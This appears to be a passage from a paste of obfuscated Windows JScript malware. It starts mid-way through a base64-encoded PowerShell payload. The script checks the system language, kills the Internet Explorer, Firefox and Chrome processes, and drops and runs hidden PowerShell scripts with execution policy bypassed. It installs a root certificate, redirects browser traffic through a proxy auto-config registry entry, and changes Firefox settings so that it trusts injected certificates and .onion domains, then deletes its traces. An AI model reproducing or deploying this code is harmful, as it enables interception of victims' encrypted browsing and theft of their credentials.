"UlJPUjogQ2FuJ3QgbGlzdCBkaXIgezB9IiAtZiAkZGlyLkZ1bGxOYW1lKTsKICAgICAgICB9CiAgICB9CiAgfQogIGNhdGNoIHsKICAgIExvZ1dyaXRlKCJFUlJPUjogQ2FuJ3QgbGlzdCBkaXIgezB9IiAtZiAkRGVzdFRQKTsKICB9CgogICRhdmxpc3Q9KEdldC1X" + "bWlPYmplY3QgLU5hbWVzcGFjZSAicm9vdFxTZWN1cml0eUNlbnRlcjIiIC1RdWVyeSAiU0VMRUNUICogRlJPTSBBbnRpVmlydXNQcm9kdWN0IiAgQHBzYm91bmRwYXJhbWV0ZXJzfFNlbGVjdCAtZXhwYW5kIERpc3BsYXlOYW1lKTsKICBpZiAoLU5PVCAkYXZsaXN0" + "LmNvdW50IC1lcSAwKXsKICAgIExvZ1dyaXRlKCJBdiBpbnN0YWxsZWQ6ICd7MH0nIiAtZiAoJGF2bGlzdCAtam9pbiAiOyAiKSk7CiAgfWVsc2UgewogICAgTG9nV3JpdGUoIkF2IG5vdCBmb3VuZCIpOwogIH0KfQpmdW5jdGlvbiBTdGFydFdvcmsoKXsKICBMb2dX" + "cml0ZSAiU3RhcnQgTG9nIG1vZHVsZSI7CiAgU3RhcnQtU2xlZXAgLXMgMzsKICBDaGVja0luc3RhbGw7CiAgVXBsb2FkTG9nOwp9ClN0YXJ0V29yazsK"
  20. };
  21. var ekrl = {
  22. _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  23. encode: function (e) {
  24. var t = "";
  25. var n, r, i, s, o, u, a;
  26. var f = 0;
  27. e = ekrl._utf8_encode(e);
  28. while (f < e.length) {
  29. n = e.charCodeAt(f++);
  30. r = e.charCodeAt(f++);
  31. i = e.charCodeAt(f++);
  32. s = n >> 2;
  33. o = (n & 3) << 4 | r >> 4;
  34. u = (r & 15) << 2 | i >> 6;
  35. a = i & 63;
  36. if (isNaN(r)) {
  37. u = a = 64
  38. } else if (isNaN(i)) {
  39. a = 64
  40. }
  41. t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
  42. }
  43. return t
  44. },
  45. qanyWuNqU: function (e) {
  46. var t = "";
  47. var n, r, i;
  48. var s, o, u, a;
  49. var f = 0;
  50. e = e.replace(/[^A-Za-z0-9+/=]/g, "");
  51. while (f < e.length) {
  52. s = this._keyStr.indexOf(e.charAt(f++));
  53. o = this._keyStr.indexOf(e.charAt(f++));
  54. u = this._keyStr.indexOf(e.charAt(f++));
  55. a = this._keyStr.indexOf(e.charAt(f++));
  56. n = s << 2 | o >> 4;
  57. r = (o & 15) << 4 | u >> 2;
  58. i = (u & 3) << 6 | a;
  59. t = t + String.fromCharCode(n);
  60. if (u != 64) {
  61. t = t + String.fromCharCode(r)
  62. }
  63. if (a != 64) {
  64. t = t + String.fromCharCode(i)
  65. }
  66. }
  67. t = ekrl._utf8_decode(t);
  68. return t
  69. },
  70. _utf8_encode: function (e) {
  71. e = e.replace(/rn/g, "n");
  72. var t = "";
  73. for (var n = 0; n < e.length; n++) {
  74. var r = e.charCodeAt(n);
  75. if (r < 128) {
  76. t += String.fromCharCode(r)
  77. } else if (r > 127 && r < 2048) {
  78. t += String.fromCharCode(r >> 6 | 192);
  79. t += String.fromCharCode(r & 63 | 128)
  80. } else {
  81. t += String.fromCharCode(r >> 12 | 224);
  82. t += String.fromCharCode(r >> 6 & 63 | 128);
  83. t += String.fromCharCode(r & 63 | 128)
  84. }
  85. }
  86. return t
  87. },
  88. _utf8_decode: function (e) {
  89. var t = "";
  90. var n = 0;
  91. var r = c1 = c2 = 0;
  92. while (n < e.length) {
  93. r = e.charCodeAt(n);
  94. if (r < 128) {
  95. t += String.fromCharCode(r);
  96. n++
  97. } else if (r > 191 && r < 224) {
  98. c2 = e.charCodeAt(n + 1);
  99. t += String.fromCharCode((r & 31) << 6 | c2 & 63);
  100. n += 2
  101. } else {
  102. c2 = e.charCodeAt(n + 1);
  103. c3 = e.charCodeAt(n + 2);
  104. t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
  105. n += 3
  106. }
  107. }
  108. return t
  109. }
  110. };
  111. var ZtuOimaLc = {
  112. HtBw: function (kflTrLcFxA, YTmyPjM) {
  113. var IITdXTbpid = new ActiveXObject("ADODB.Stream");
  114. IITdXTbpid.Open();
  115. IITdXTbpid.Type = BINARY_STREAM_TYPE;
  116. var QKXGm = new ActiveXObject("ADODB.Recordset");
  117. var AmblYgEg = YTmyPjM.length * 2;
  118. QKXGm.Fields.Append("data", 204, AmblYgEg, 0x80);
  119. QKXGm.Open();
  120. QKXGm.AddNew();
  121. QKXGm.Fields("data").AppendChunk(YTmyPjM);
  122. QKXGm.Update();
  123. QKXGm.MoveFirst();
  124. var binArray = QKXGm("data").GetChunk(AmblYgEg);
  125. QKXGm.Close();
  126. eval("IITdXTbpid.Wri" + "te(bin" + "Array)");
  127. IITdXTbpid.Position = 0;
  128. if (LSf.FileExists(kflTrLcFxA)) {
  129. LSf.DeleteFile(kflTrLcFxA)
  130. }
  131. IITdXTbpid.SaveToFile(kflTrLcFxA);
  132. IITdXTbpid.Close();
  133. var outStreamA = new ActiveXObject("ADODB.Stream");
  134. var outStreamB = new ActiveXObject("ADODB.Stream");
  135. outStreamA.Type = TEXT_STREAM_TYPE;
  136. outStreamB.Type = TEXT_STREAM_TYPE;
  137. outStreamB.Charset = "ISO-8859-1";
  138. outStreamA.Open();
  139. outStreamB.Open();
  140. outStreamA.LoadFromFile(kflTrLcFxA);
  141. outStreamA.Position = 0;
  142. outStreamA.CopyTo(outStreamB);
  143. outStreamA.Close();
  144. outStreamB.SaveToFile(kflTrLcFxA, CREATE_OVERWRITE_SAVE_MODE);
  145. outStreamB.Close()
  146. },
  147. JqnDBwFib: function (m, n) {
  148. m = parseInt(m, 10);
  149. n = parseInt(n, 10);
  150. return Math.floor(Math.random() * (n - m + 1)) + m
  151. },
  152. QOUdoU: function (FpWDp, DUHSJSEqcTpa) {
  153. var VOnw = 0;
  154. var FCOCOzPShCKxyw = "";
  155. var YhuhlYi;
  156. if (DUHSJSEqcTpa === undefined) {
  157. DUHSJSEqcTpa = false
  158. }
  159. while (VOnw < FpWDp) {
  160. YhuhlYi = (Math.floor((Math.random() * 100)) % 94) + 33;
  161. if (!DUHSJSEqcTpa) {
  162. if ((YhuhlYi >= 33) && (YhuhlYi <= 47)) {
  163. continue
  164. }
  165. if ((YhuhlYi >= 58) && (YhuhlYi <= 64)) {
  166. continue
  167. }
  168. if ((YhuhlYi >= 91) && (YhuhlYi <= 96)) {
  169. continue
  170. }
  171. if ((YhuhlYi >= 123) && (YhuhlYi <= 126)) {
  172. continue
  173. }
  174. }
  175. VOnw++;
  176. FCOCOzPShCKxyw += String.fromCharCode(YhuhlYi)
  177. }
  178. return FCOCOzPShCKxyw
  179. },
  180. yrSCcCAd: function (str) {
  181. return str.replace(/(^\s+)|(\s+$)/g, "")
  182. }
  183. };
  184. if (!String.format) {
  185. String.format = function (format) {
  186. var args = Array.prototype.slice.call(arguments, 1);
  187. return format.replace(/{(\d+)}/g, function (match, number) {
  188. return typeof args[number] != "undefined" ? args[number] : match
  189. })
  190. }
  191. }
  192.  
  193. function ZwPMZyXaN() {
  194. this.mdGQfjvrOwWotl = ZtuOimaLc.QOUdoU(8) + ".ps1";
  195. this.wLpNXcTJ = function () {
  196. var hlseuf = new ActiveXObject("MSXML2" + ".XML" + "HTTP");
  197. try {
  198. hlseuf.open("GET", "http://api.ipify.org/", false);
  199. hlseuf.send();
  200. if (hlseuf.status == 200) {
  201. return ZtuOimaLc.yrSCcCAd(hlseuf.responseText)
  202. }
  203. } catch (e) {
  204. util_log(">>> Silencing catch " + _inspect(e));
  205. }
  206. try {
  207. hlseuf.open("GET", "http://icanhazip.com/", false);
  208. hlseuf.send();
  209. if (hlseuf.status == 200) {
  210. return ZtuOimaLc.yrSCcCAd(hlseuf.responseText)
  211. }
  212. } catch (e) {
  213. util_log(">>> Silencing catch " + _inspect(e));
  214. }
  215. return ""
  216. };
  217. this.DWFP = function () {
  218. mOTAYiWxSTPZ.RegWrite(ekrl.qanyWuNqU("SEtDV" + "VxTb2Z0d2FyZVxNaWNyb3NvZ" + "nRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm" + "5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"), 0, "REG_DWORD");
  219. for (var i = 0; i < 5; i++) {
  220. var bHHaZG = this.wLpNXcTJ();
  221. if (bHHaZG.length > 0) {
  222. this.JcsWYErYW(String.format("http://127.0.0.1:53904/{0}.js?ip={1}", ZtuOimaLc.QOUdoU(8), bHHaZG))
  223. }
  224. }
  225. };
  226. this.JcsWYErYW = function (s) {
  227. mOTAYiWxSTPZ.RegWrite(ekrl.qanyWuNqU("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"), s, "REG_SZ")
  228. };
  229. this.xnC = function () {
  230. this.mdGQfjvrOwWotl = VpJzy + "\\" + this.mdGQfjvrOwWotl;
  231. var YTmyPjM = ekrl.qanyWuNqU(UNiB.ITBDyN);
  232. YTmyPjM = YTmyPjM.replace("%CERT%", UNiB.mheAvCRCu);
  233. ZtuOimaLc.HtBw(this.mdGQfjvrOwWotl, YTmyPjM);
  234. mOTAYiWxSTPZ.Run("cmd /c powershell -ep Unrestricted -f \"" + this.mdGQfjvrOwWotl + "\" | find /v \"\" >> \"" + KiWitjjmZY + "\"", 0, true)
  235. };
  236. this.rxc = function () {
  237. if (LSf.FileExists(this.mdGQfjvrOwWotl)) {
  238. LSf.DeleteFile(this.mdGQfjvrOwWotl)
  239. }
  240. }
  241. }
  242.  
  243. function QqrCBSfWUKoSRBw() {
  244. var RBnnKPijoND = zmZt + "\\Mozilla\\Firefox\\Profiles";
  245. this.oTLOHIYAO = ZtuOimaLc.QOUdoU(8) + ".ps1";
  246. this.FYPpHwQMt = function () {
  247. if (LSf.FolderExists(RBnnKPijoND)) {
  248. var ArrFirefoxProfileList = LSf.GetFolder(RBnnKPijoND).SubFolders;
  249. if (ArrFirefoxProfileList.Count > 0) {
  250. var e = new Enumerator(ArrFirefoxProfileList);
  251. e.moveFirst();
  252. while (e.atEnd() == false) {
  253. var folder = e.item();
  254. if (folder.Name.indexOf(".default") > -1) {
  255. return folder.Path
  256. }
  257. e.moveNext()
  258. }
  259. }
  260. }
  261. return false
  262. };
  263. this.QwajGPHmr = function () {
  264. var UtKGZQWTPdgTp = this.FYPpHwQMt();
  265. if (UtKGZQWTPdgTp != false) {
  266. var PEgNlRDoXkUV = UtKGZQWTPdgTp + ekrl.qanyWuNqU("XHByZWZzLmpz");
  267. if (LSf.FileExists(PEgNlRDoXkUV)) {
  268. var Wpvm = LSf.OpenTextFile(PEgNlRDoXkUV, 1).ReadAll();
  269. var icEpp = Wpvm.split("\n");
  270. var YQuCpWKwWvgrbD = [];
  271. for (var i = 0; i < icEpp.length; i++) {
  272. if (icEpp[i].indexOf("network.dns.blockDotOnion") != -1) {
  273. icEpp[i] = icEpp[i].replace("true", "false")
  274. }
  275. if (icEpp[i].indexOf("network.proxy.") == -1 && icEpp[i].indexOf("security.enterprise_roots.enabled") == -1) {
  276. YQuCpWKwWvgrbD.push(icEpp[i])
  277. }
  278. }
  279. YQuCpWKwWvgrbD.push("user_pref(\"network.dns.blockDotOnion\", false);");
  280. YQuCpWKwWvgrbD.push("user_pref(\"security.enterprise_roots.enabled\", true);");
  281. Wpvm = YQuCpWKwWvgrbD.join("\n");
  282. var stream = LSf.CreateTextFile(PEgNlRDoXkUV, true);
  283. stream.Write(Wpvm);
  284. stream.Close()
  285. }
  286. }
  287. };
  288. this.InstallCert = function () {
  289. this.oTLOHIYAO = VpJzy + "\\" + this.oTLOHIYAO;
  290. var YTmyPjM = ekrl.qanyWuNqU(UNiB.zOTN);
  291. YTmyPjM = YTmyPjM.replace("%CERT%", UNiB.mheAvCRCu);
  292. ZtuOimaLc.HtBw(this.oTLOHIYAO, YTmyPjM);
  293. var ENV_WINDIR = mOTAYiWxSTPZ.ExpandEnvironmentStrings("%WINDIR%");
  294. mOTAYiWxSTPZ.Run("cmd /c powershell -ep bypass -f \"" + this.oTLOHIYAO + "\" | find /v \"\" >> \"" + KiWitjjmZY + "\"", 0, true);
  295. mOTAYiWxSTPZ.Run("cmd /c " + ENV_WINDIR + "\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \"" + this.oTLOHIYAO + "\" | find /v \"\" >> \"" + KiWitjjmZY + "\"", 0, true);
  296. mOTAYiWxSTPZ.Run("cmd /c " + ENV_WINDIR + "\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \"" + this.oTLOHIYAO + "\" | find /v \"\" >> \"" + KiWitjjmZY + "\"", 0, true)
  297. };
  298. this.Close = function () {
  299. if (LSf.FileExists(this.oTLOHIYAO)) {
  300. LSf.DeleteFile(this.oTLOHIYAO)
  301. }
  302. }
  303. }
  304.  
  305. function C_TP() {
  306. this.FileName = ZtuOimaLc.QOUdoU(ZtuOimaLc.JqnDBwFib(5, 10)) + ".ps1";
  307. this.KfgCa = function () {
  308. var kxtanxfrwKu = ZtuOimaLc.JqnDBwFib(0, UNiB.OIErZrdCGipsji.length - 1);
  309. var njFr = UNiB.OIErZrdCGipsji[kxtanxfrwKu];
  310. this.FileName = mOTAYiWxSTPZ.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") + "\\" + this.FileName;
  311. var YTmyPjM = ekrl.qanyWuNqU(UNiB.DYiPWoFes);
  312. YTmyPjM = YTmyPjM.replace(/%DOMAIN%/g, njFr);
  313. ZtuOimaLc.HtBw(this.FileName, YTmyPjM);
  314. mOTAYiWxSTPZ.Run("cmd /c powershell -ep Unrestricted -f \"" + this.FileName + "\" | find /v \"\" >> \"" + KiWitjjmZY + "\"", 0, true)
  315. };
  316. this.Close = function () {
  317. if (LSf.FileExists(this.FileName)) {
  318. LSf.DeleteFile(this.FileName)
  319. }
  320. }
  321. }
  322.  
  323. function hbDmuMn() {
  324. this.FileName = VpJzy + "\\" + ZtuOimaLc.QOUdoU(8) + ".ps1";
  325. this.ScNKhPDLic = function () {
  326. LOVpfVXwi = new ZwPMZyXaN();
  327. ftv = new QqrCBSfWUKoSRBw();
  328. EXC = new C_TP()
  329. };
  330. this.NzEwGiQ = function () {
  331. if (this.CheckRun()) {
  332. WScript.Quit(0)
  333. }
  334. if (this.DuiYmILZKaWs()) {
  335. WScript.Quit(0)
  336. }
  337. this.ScNKhPDLic();
  338. EXC.KfgCa();
  339. this.UbdbOMjuVmk();
  340. this.SQJggdzaEjLUi();
  341. this.lrRnmjqEUguhdKw();
  342. this.Close();
  343. WScript.Sleep(3000);
  344. this.tMGvGUJngAxJuws()
  345. };
  346. this.SQJggdzaEjLUi = function () {
  347. LOVpfVXwi.xnC();
  348. LOVpfVXwi.DWFP()
  349. };
  350. this.lrRnmjqEUguhdKw = function () {
  351. ftv.InstallCert();
  352. ftv.QwajGPHmr()
  353. };
  354. this.UbdbOMjuVmk = function () {
  355. mOTAYiWxSTPZ.Run(ekrl.qanyWuNqU("dGFza2tpbGwgL0Y" + "gL2ltIGlleHBsb3JlLmV4ZQ=="), 0, false);
  356. mOTAYiWxSTPZ.Run(ekrl.qanyWuNqU("dGFza2tpbGwgL0Yg" + "L2ltIGZpcmVmb3guZXhl"), 0, false);
  357. mOTAYiWxSTPZ.Run(ekrl.qanyWuNqU("dGFza2tpbGwgL0YgL" + "2ltIGNocm9tZS5leGU="), 0, false)
  358. };
  359. this.tMGvGUJngAxJuws = function () {
  360. var bData = ekrl.qanyWuNqU(UNiB.TwOAY);
  361. ZtuOimaLc.HtBw(this.FileName, bData);
  362. mOTAYiWxSTPZ.Run("powershell -ep Unrestricted -f \"" + this.FileName + "\"", 0, true);
  363. if (LSf.FileExists(this.FileName)) {
  364. LSf.DeleteFile(this.FileName)
  365. }
  366. };
  367. this.CheckRun = function () {
  368. var processes = GetObject("winmgmts:\\\\.\\root\\cimv2").ExecQuery("Select * from Win32_Process where Name='cscript.exe' or Name='wscript.exe'");
  369. var count = 0;
  370. for (var enumItems = new Enumerator(processes); !enumItems.atEnd(); enumItems.moveNext()) {
  371. var process = enumItems.item();
  372. if (process.CommandLine.indexOf(WScript.ScriptName) != -1) {
  373. count++
  374. }
  375. }
  376. if (count > 1) {
  377. return true
  378. }
  379. return false
  380. };
  381. this.DuiYmILZKaWs = function () {
  382. var hTABmxgIpTnoqH = GetObject("winmgmts:\\\\.\\root\\cimv2").ExecQuery("Select * from Win32_OperatingSystem");
  383. var arr = [];
  384. for (var enumItems = new Enumerator(hTABmxgIpTnoqH); !enumItems.atEnd(); enumItems.moveNext()) {
  385. var MUILanguages = enumItems.item().MUILanguages.toArray();
  386. for (i in MUILanguages) {
  387. arr.push(MUILanguages[i])
  388. }
  389. }
  390. var muilangs = arr.join(",");
  391. if (muilangs == 'en-US') {
  392. return true
  393. }
  394. return false
  395. };
  396. this.Close = function () {
  397. LOVpfVXwi.rxc();
  398. ftv.Close();
  399. EXC.Close()
  400. }
  401. }
  402. var cSUwAj = new hbDmuMn();
  403. cSUwAj.NzEwGiQ();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement